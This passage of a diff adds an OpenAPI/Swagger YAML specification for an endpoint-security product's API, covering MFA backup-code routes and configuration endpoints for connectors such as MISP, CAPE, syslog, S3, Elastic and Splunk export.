+                type: array
+            type: object
+      tags:
+        - authentication
+  /auth/{method}/codes/regenerate/:
+    parameters:
+      - in: path
+        name: method
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: auth_codes_regenerate_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_MFAMethodBackupCodesGeneration'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_ResponseBackupCodes'
+      tags:
+        - authentication
+  /auth/{method}/deactivate/:
+    parameters:
+      - in: path
+        name: method
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: auth_deactivate_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_MFAMethodDeactivationValidator'
+      responses:
+        "204":
+          description: ""
+      tags:
+        - authentication
+  /config/:
+    get:
+      description: ""
+      operationId: config_list
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AllConfig'
+      tags:
+        - configuration
+    parameters: []
+  /config/agent_cleaning/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_agent_cleaning_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentCleaning'
+      summary: Get section configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_agent_cleaning_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AgentCleaning'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentCleaning'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - configuration
+  /config/agent_cleaning/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: config_agent_cleaning_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentCleaning'
+      tags:
+        - configuration
+    parameters: []
+  /config/alerter_ioc/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_alerter_ioc_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/IOCConfig'
+      summary: Get section configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_alerter_ioc_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/IOCConfig'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/IOCConfig'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - configuration
+  /config/alerter_ioc/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: config_alerter_ioc_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/IOCConfig'
+      tags:
+        - configuration
+    parameters: []
+  /config/assemblyline/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_assemblyline_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetAssemblyline'
+      summary: Get connector configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_assemblyline_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditAssemblyline'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetAssemblyline'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - configuration
+  /config/assemblyline/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: config_assemblyline_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetAssemblyline'
+      tags:
+        - configuration
+    parameters: []
+  /config/assemblyline/test/:
+    parameters: []
+    post:
+      description: Test connector connection with provided settings. Does not save any change.
+      operationId: config_assemblyline_test
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditAssemblyline'
+      responses:
+        "200":
+          description: Configuration is valid
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+        "400":
+          description: Bad request
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+      summary: Test connector connection
+      tags:
+        - configuration
+  /config/binaries_retention/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_binaries_retention_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/BinariesRetention'
+      summary: Get section configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_binaries_retention_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BinariesRetention'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/BinariesRetention'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - configuration
+  /config/binaries_retention/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: config_binaries_retention_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/BinariesRetention'
+      tags:
+        - configuration
+    parameters: []
+  /config/cape/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_cape_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetCape'
+      summary: Get connector configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_cape_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditCape'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetCape'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - configuration
+  /config/cape/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: config_cape_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetCape'
+      tags:
+        - configuration
+    parameters: []
+  /config/cape/test/:
+    parameters: []
+    post:
+      description: Test connector connection with provided settings. Does not save any change.
+      operationId: config_cape_test
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditCape'
+      responses:
+        "200":
+          description: Configuration is valid
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+        "400":
+          description: Bad request
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+      summary: Test connector connection
+      tags:
+        - configuration
+  /config/collector/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_collector_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Collector'
+      summary: Get section configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_collector_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Collector'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Collector'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - configuration
+  /config/collector/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: config_collector_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Collector'
+      tags:
+        - configuration
+    parameters: []
+  /config/connector_misp/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_connector_misp_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetMisp'
+      summary: Get connector configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_connector_misp_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditMisp'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetMisp'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - configuration
+  /config/connector_misp/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: config_connector_misp_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetMisp'
+      tags:
+        - configuration
+    parameters: []
+  /config/connector_misp/errors/:
+    get:
+      description: Get individual attribute errors as CSV
+      operationId: config_connector_misp_errors
+      parameters: []
+      responses:
+        "200":
+          description: individual attribute errors of the MISP connector, as CSV
+        "404":
+          description: attribute errors of the MISP connector not found
+      tags:
+        - configuration
+    parameters: []
+  /config/connector_misp/test/:
+    parameters: []
+    post:
+      description: Test connector connection with provided settings. Does not save any change.
+      operationId: config_connector_misp_test
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditMisp'
+      responses:
+        "200":
+          description: Configuration is valid
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+        "400":
+          description: Bad request
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+      summary: Test connector connection
+      tags:
+        - configuration
+  /config/customization/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_customization_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Customization'
+      summary: Get section configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_customization_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Customization'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Customization'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - configuration
+  /config/customization/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: config_customization_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Customization'
+      tags:
+        - configuration
+    parameters: []
+  /config/download/:
+    get:
+      consumes:
+        - application/json
+        - application/yaml
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+
+        or its YAML equivalent.
+      operationId: config_download_list
+      parameters: []
+      produces:
+        - application/json
+        - application/yaml
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ConfigDownload'
+      summary: Download config in JSON or YAML format
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      consumes:
+        - application/json
+        - application/yaml
+      description: Configuration field not present in the request are left untouched.
+      operationId: config_download_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ConfigDownload'
+      produces:
+        - application/json
+        - application/yaml
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ConfigDownload'
+        "400":
+          description: Bad request
+      summary: Update the stored configuration with the given one.
+      tags:
+        - configuration
+    put:
+      consumes:
+        - application/json
+        - application/yaml
+      description: Existing configuration is completely deleted before being replaced.
+      operationId: config_download_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ConfigDownload'
+      produces:
+        - application/json
+        - application/yaml
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ConfigDownload'
+        "400":
+          description: Bad request
+      summary: Replace the stored configuration with the given one.
+      tags:
+        - configuration
+  /config/downloader/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_downloader_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Downloader'
+      summary: Get section configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_downloader_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Downloader'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Downloader'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - configuration
+  /config/downloader/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: config_downloader_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Downloader'
+      tags:
+        - configuration
+    parameters: []
+  /config/es_ilm_indices__policies/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_es_ilm_indices__policies_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ESILMIndicesPolicies'
+      summary: Get section configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_es_ilm_indices__policies_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ESILMIndicesPolicies'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ESILMIndicesPolicies'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - configuration
+  /config/es_ilm_indices__policies/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: config_es_ilm_indices__policies_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ESILMIndicesPolicies'
+      tags:
+        - configuration
+    parameters: []
+  /config/es_indices__replicas/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_es_indices__replicas_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ESIndicesReplicas'
+      summary: Get section configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_es_indices__replicas_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ESIndicesReplicas'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ESIndicesReplicas'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - configuration
+  /config/es_indices__replicas/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: config_es_indices__replicas_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ESIndicesReplicas'
+      tags:
+        - configuration
+    parameters: []
+  /config/event_stacktrace/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_event_stacktrace_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/EventStackTrace'
+      summary: Get section configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_event_stacktrace_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EventStackTrace'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/EventStackTrace'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - configuration
+  /config/event_stacktrace/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: config_event_stacktrace_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/EventStackTrace'
+      tags:
+        - configuration
+    parameters: []
+  /config/export/:
+    get:
+      consumes:
+        - multipart/form-data
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_export_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExport'
+      summary: Get connector configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      consumes:
+        - multipart/form-data
+      description: Missing fields are set to their default value.
+      operationId: config_export_partial_update
+      parameters:
+        - default: false
+          in: formData
+          name: enabled
+          required: false
+          type: boolean
+        - in: formData
+          minLength: 1
+          name: host
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          maximum: 65535
+          minimum: 1
+          name: port
+          required: false
+          type: integer
+          x-nullable: true
+        - enum:
+            - rfc3164
+            - rfc5424
+          in: formData
+          name: rfc
+          required: false
+          type: string
+          x-nullable: true
+        - enum:
+            - ssl-tcp
+            - tcp
+            - udp
+          in: formData
+          name: protocol
+          required: false
+          type: string
+          x-nullable: true
+        - collectionFormat: multi
+          default: []
+          in: formData
+          items:
+            enum:
+              - agent
+              - agentlog
+              - alert
+              - amsi_scan
+              - auditlog
+              - authentication
+              - bpf
+              - connectionlog
+              - dns_resolution
+              - driverload
+              - eventlog
+              - experimental_alert
+              - file
+              - group
+              - informational_alert
+              - injectedthread
+              - investigation
+              - kube_pod_event
+              - library_load
+              - named_pipe
+              - network
+              - network_listen
+              - powershell
+              - process
+              - process_access
+              - process_duplicate_handle
+              - process_ptrace
+              - process_tamper
+              - raw_device_access
+              - raw_socket_creation
+              - registry
+              - remotethread
+              - resource
+              - scheduled_task
+              - threat
+              - url_request
+              - usb_activity
+              - user
+              - win32k_get_async_key_state
+              - win32k_register_raw_input_devices
+              - win32k_set_windows_hook_ex
+              - windows_service
+              - wmi_event
+            type: string
+          name: logs
+          required: false
+          type: array
+          x-nullable: true
+        - default: false
+          in: formData
+          name: ssl_verify
+          required: false
+          type: boolean
+        - default: hurukai
+          in: formData
+          minLength: 1
+          name: app_name
+          required: false
+          type: string
+        - default: hurukai
+          in: formData
+          minLength: 1
+          name: source_host
+          required: false
+          type: string
+        - in: formData
+          minLength: 1
+          name: structured_data
+          required: false
+          type: string
+          x-nullable: true
+        - default: false
+          in: formData
+          name: exclude_rule_content
+          required: false
+          type: boolean
+        - in: formData
+          name: ssl_cacert
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: ssl_cert
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: ssl_key
+          required: false
+          type: file
+          x-nullable: true
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExport'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - configuration
+  /config/export/defaults/:
+    get:
+      consumes:
+        - multipart/form-data
+      description: Get default connector configuration
+      operationId: config_export_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExport'
+      tags:
+        - configuration
+    parameters: []
+  /config/export/test/:
+    parameters: []
+    post:
+      consumes:
+        - multipart/form-data
+      description: Test connector connection with provided settings. Does not save any change.
+      operationId: config_export_test
+      parameters:
+        - default: false
+          in: formData
+          name: enabled
+          required: false
+          type: boolean
+        - in: formData
+          minLength: 1
+          name: host
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          maximum: 65535
+          minimum: 1
+          name: port
+          required: false
+          type: integer
+          x-nullable: true
+        - enum:
+            - rfc3164
+            - rfc5424
+          in: formData
+          name: rfc
+          required: false
+          type: string
+          x-nullable: true
+        - enum:
+            - ssl-tcp
+            - tcp
+            - udp
+          in: formData
+          name: protocol
+          required: false
+          type: string
+          x-nullable: true
+        - collectionFormat: multi
+          default: []
+          in: formData
+          items:
+            enum:
+              - agent
+              - agentlog
+              - alert
+              - amsi_scan
+              - auditlog
+              - authentication
+              - bpf
+              - connectionlog
+              - dns_resolution
+              - driverload
+              - eventlog
+              - experimental_alert
+              - file
+              - group
+              - informational_alert
+              - injectedthread
+              - investigation
+              - kube_pod_event
+              - library_load
+              - named_pipe
+              - network
+              - network_listen
+              - powershell
+              - process
+              - process_access
+              - process_duplicate_handle
+              - process_ptrace
+              - process_tamper
+              - raw_device_access
+              - raw_socket_creation
+              - registry
+              - remotethread
+              - resource
+              - scheduled_task
+              - threat
+              - url_request
+              - usb_activity
+              - user
+              - win32k_get_async_key_state
+              - win32k_register_raw_input_devices
+              - win32k_set_windows_hook_ex
+              - windows_service
+              - wmi_event
+            type: string
+          name: logs
+          required: false
+          type: array
+          x-nullable: true
+        - default: false
+          in: formData
+          name: ssl_verify
+          required: false
+          type: boolean
+        - default: hurukai
+          in: formData
+          minLength: 1
+          name: app_name
+          required: false
+          type: string
+        - default: hurukai
+          in: formData
+          minLength: 1
+          name: source_host
+          required: false
+          type: string
+        - in: formData
+          minLength: 1
+          name: structured_data
+          required: false
+          type: string
+          x-nullable: true
+        - default: false
+          in: formData
+          name: exclude_rule_content
+          required: false
+          type: boolean
+        - in: formData
+          name: ssl_cacert
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: ssl_cert
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: ssl_key
+          required: false
+          type: file
+          x-nullable: true
+      responses:
+        "200":
+          description: Configuration is valid
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+        "400":
+          description: Bad request
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+      summary: Test connector connection
+      tags:
+        - configuration
+  /config/export_elastic/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_export_elastic_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportElastic'
+      summary: Get connector configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_export_elastic_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditExportElastic'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportElastic'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - configuration
+  /config/export_elastic/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: config_export_elastic_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportElastic'
+      tags:
+        - configuration
+    parameters: []
+  /config/export_elastic/test/:
+    parameters: []
+    post:
+      description: Test connector connection with provided settings. Does not save any change.
+      operationId: config_export_elastic_test
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditExportElastic'
+      responses:
+        "200":
+          description: Configuration is valid
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+        "400":
+          description: Bad request
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+      summary: Test connector connection
+      tags:
+        - configuration
+  /config/export_s3/:
+    get:
+      consumes:
+        - multipart/form-data
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_export_s3_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportS3'
+      summary: Get connector configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      consumes:
+        - multipart/form-data
+      description: Missing fields are set to their default value.
+      operationId: config_export_s3_partial_update
+      parameters:
+        - default: false
+          in: formData
+          name: enabled
+          required: false
+          type: boolean
+        - in: formData
+          minLength: 1
+          name: url
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: bucket
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: object_prefix
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: access_key
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: secret_key
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: region
+          required: false
+          type: string
+          x-nullable: true
+        - collectionFormat: multi
+          default: []
+          in: formData
+          items:
+            enum:
+              - alert
+              - authentication
+              - dns_resolution
+              - experimental_alert
+              - file
+              - informational_alert
+              - injectedthread
+              - library_load
+              - network
+              - network_listen
+              - process
+              - raw_socket_creation
+              - remotethread
+              - url_request
+            type: string
+          name: logs
+          required: false
+          type: array
+          x-nullable: true
+        - default: false
+          in: formData
+          name: ssl_verify
+          required: false
+          type: boolean
+        - in: formData
+          name: ssl_cacert
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: ssl_cert
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: ssl_key
+          required: false
+          type: file
+          x-nullable: true
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportS3'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - configuration
+  /config/export_s3/defaults/:
+    get:
+      consumes:
+        - multipart/form-data
+      description: Get default connector configuration
+      operationId: config_export_s3_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportS3'
+      tags:
+        - configuration
+    parameters: []
+  /config/export_s3/test/:
+    parameters: []
+    post:
+      consumes:
+        - multipart/form-data
+      description: Test connector connection with provided settings. Does not save any change.
+      operationId: config_export_s3_test
+      parameters:
+        - default: false
+          in: formData
+          name: enabled
+          required: false
+          type: boolean
+        - in: formData
+          minLength: 1
+          name: url
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: bucket
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: object_prefix
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: access_key
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: secret_key
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: region
+          required: false
+          type: string
+          x-nullable: true
+        - collectionFormat: multi
+          default: []
+          in: formData
+          items:
+            enum:
+              - alert
+              - authentication
+              - dns_resolution
+              - experimental_alert
+              - file
+              - informational_alert
+              - injectedthread
+              - library_load
+              - network
+              - network_listen
+              - process
+              - raw_socket_creation
+              - remotethread
+              - url_request
+            type: string
+          name: logs
+          required: false
+          type: array
+          x-nullable: true
+        - default: false
+          in: formData
+          name: ssl_verify
+          required: false
+          type: boolean
+        - in: formData
+          name: ssl_cacert
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: ssl_cert
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: ssl_key
+          required: false
+          type: file
+          x-nullable: true
+      responses:
+        "200":
+          description: Configuration is valid
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+        "400":
+          description: Bad request
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+      summary: Test connector connection
+      tags:
+        - configuration
+  /config/export_secops/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_export_secops_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportSecops'
+      summary: Get connector configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_export_secops_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditExportSecops'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportSecops'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - configuration
+  /config/export_secops/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: config_export_secops_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportSecops'
+      tags:
+        - configuration
+    parameters: []
+  /config/export_secops/test/:
+    parameters: []
+    post:
+      description: Test connector connection with provided settings. Does not save any change.
+      operationId: config_export_secops_test
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditExportSecops'
+      responses:
+        "200":
+          description: Configuration is valid
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+        "400":
+          description: Bad request
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+      summary: Test connector connection
+      tags:
+        - configuration
+  /config/export_splunk/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_export_splunk_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportSplunk'
+      summary: Get connector configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_export_splunk_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditExportSplunk'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportSplunk'
